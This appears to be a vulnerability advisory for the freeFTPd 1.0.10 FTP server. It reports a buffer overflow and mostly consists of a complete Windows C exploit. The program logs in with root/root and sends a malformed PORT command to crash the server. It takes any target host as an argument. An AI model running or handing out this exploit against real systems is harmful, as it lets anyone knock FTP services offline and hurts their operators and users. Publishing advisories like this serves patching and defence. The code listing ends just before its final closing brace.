Summary
freeFTPd is "a free FTP+SSL/SFTP server built on WeOnlyDo FTP/SFTP implementation which guarantees high performance and full compatibility".

FreeFTPd is vulnerable to a buffer overflow, the following exploit code will cause a denial of service against the product.

Credit:
The information has been provided by steve01.

Details
Vulnerable Systems:
* FreeFTPd version 1.0.10

Exploit:
// FreeFTPd Denial of Service Attack
// Tested on a Win XP Sp1 Box

#include "stdio.h"
#include "winsock2.h"
#pragma comment (lib,"ws2_32")

#define PORT 21
#define USER "root"
#define PASS "root"
#define L "--------------------------------------------------"
#define HL "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at"
#define BOOM "23"

typedef unsigned long ulong;
ulong resolv_host(char *);

int main(int argc, char* argv[])
{

WSADATA wsa;
SOCKET s_target;
struct sockaddr_in addr;
WORD wsVersion;
int err=0;

if(argc<2)
{
printf("%s\n",L);
printf("%s\n",HL);
printf("%s\n",L);
printf("Usage: %s <www.target.com>\n",argv[0]);
exit(0);
}

printf("%s\n",L);
printf("%s\n",HL);
printf("%s\n",L);

if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa))
{
printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError());
exit(1);
}

s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s_target==INVALID_SOCKET)
{
printf("Error socket() Error Code: %d\n",WSAGetLastError());
exit(2);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr= resolv_host(argv[1]);

if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr)))
{
printf("Error connect() Error Code: %d\n",WSAGetLastError());
exit(3);
}

int recvsize=0;
char recvbuffer[400];
char sendbuffer[400];

//recv banner
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';
//send user
strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1);
strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv user stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1);
strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

//send pass
send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv pass stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1);
strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);
send(s_target,sendbuffer,strlen(sendbuffer),0);

closesocket(s_target);
WSACleanup();

return 0;
}

ulong resolv_host(char *host)
{

ulong uhost=0;
struct hostent *th;

uhost=inet_addr(host);
if(uhost==INADDR_NONE)
{
th=gethostbyname(host);
if(!th)
{
printf("Check if %s is up \n",host);
exit(0);
}

uhost=*(unsigned long*)th->h_addr;

}

return uhost;